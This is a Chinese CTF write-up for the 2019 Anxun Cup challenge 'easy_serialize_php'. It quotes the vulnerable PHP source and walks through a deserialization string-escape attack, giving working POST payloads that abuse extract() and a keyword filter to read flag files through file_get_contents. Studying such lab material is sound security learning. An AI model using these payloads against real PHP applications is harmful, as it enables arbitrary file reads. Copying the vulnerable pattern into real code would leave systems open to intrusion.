当前位置:   article > 正文

[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php - DGhh - 博客园 (cnblogs.com)

[安洵杯 2019]easy_serialize_php - 何止(h3zh1) - 博客园 (cnblogs.com)

涉及的考点是字符串逃逸

<?php
//GET一个f
$function = @$_GET['f'];
 
//定义过滤的字符串数组
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g'); 
    //将数组元素拼接成正则表达式的形式
    $filter = '/'.implode('|',$filter_arr).'/i';
    //使用正则表达式替换掉这些字符串
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

//如果f不存在,就显示初始的帮助页面
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

//如果GET请求中没有'img_path'参数
if(!$_GET['img_path']){
    //设置默认会话图片路径
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    //将传入的图片路径进行base64编码后在进行shal哈希(再次对其进行一次加密)
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

//将会话信息进行了序列化
$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48

先来看一下最后的一段代码

//f=highlight_file就显示index.php
if($function == 'highlight_file'){
    highlight_file('index.php');
//f=phpinfo就显示PHP配置信息
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
//最后一段就是我们拿到flag的关键吧,f=show_image,
}else if($function == 'show_image'){
    //反序列化后得到的会话数据
    $userinfo = unserialize($serialize_info);
    //输出base64解码后的图片内容
    echo file_get_contents(base64_decode($userinfo['img']));
}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13

然后我们看看phpinfo里面有什么

看到auto_append_file函数里面有个 d0g3_f1ag.php,这肯定是我们要拿到flag的关键

image-20240803145933582

d0g3_f1ag.phpbase64加密为ZDBnM19mMWFnLnBocA==

//将会话信息进行了序列化并且过滤
$serialize_info = filter(serialize($_SESSION));
  • 1
  • 2

继续向上看代码,上面的filter应该是对其传入的会话信息进行了一次过滤

然后出现了一个变量覆盖

if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

unset$_SESSION进行了销毁

后面又重新定义了$_SESSION

但是extract函数对变量进行了覆盖

extract函数从数组中将变量导入到当前的符号表。

举个栗子

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

image-20240803151924233

POST一个flag上去就将_SESSION里面的值完全覆盖了

image-20240803151913251

直接_SESSION['img']是不行的,因为后面还对_SESSION[img]又进行了一次加密,这样传到下面的值输出后就不正确了

所以我们需要让guest_img.png逃逸,让其不进行shal加密

然后获得了一个新的知识点

php字符串逃逸

举个栗子

<?php
$img['one'] = "flag";
$img['two'] = "tqlu";
$a = serialize($img);
var_dump($a);
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

img是一个数组,将数组进行序列化后是"a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}"

<?php
$a='a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}';
var_dump(unserialize($a));
$b='a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}abc';
var_dump(unserialize($b));
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

image-20240803154029938

就算在}后面添加了abc,最后输出也是上面那那串反序列化的东西,说明反序列化是会处理垃圾信息的

反序列化是有一定的范围的,对应的格式不能出错,如果s:3:'one'那么s:3后面就就必须要有长度为3的字符串,不然就会向后继续要,这就算是逃逸

那我们这样构造一个数组呢

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

得到了这样一串

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 1

因为要让guest_img.png进行逃逸,所以可以将img这段放到花括号外面去,所以这样子写呢

<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 1

花括号外面的是垃圾数据了

现在我们需要的数据是";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

就是我们可以过滤器过滤掉php或者flag将我们把不要的东西给去掉

我们不要的是;s:8:"function";s:42:"a"这一串东西,一共是24个字符

所以需要6个flag进行这个过滤

构造一下

<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

执行出来是这样

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 1

flag被过滤

a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 1

向后延24位,所以

s:24就相当于  ;s:8:"function";s:42:"a"

我们剩下的是:
a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}还剩下了user和img这两个值
去掉垃圾数据
a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

所以

为什么后面还有加一个s:2:"aa";s:1:"a";,因为}不是被当作垃圾数据处理了嘛,但是这个数组有三个值,所以我们在后面自己构造一个

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"a";}
  • 1

image-20240803162704053

/d0g3_fllllllag

base64后是L2QwZzNfZmxsbGxsbGFn还是20位

直接改

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"a";}
  • 1

image-20240803163032146

这道题好抽象,想了好久

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/酷酷是懒虫/article/detail/931189
推荐阅读
  

闽ICP备14008679号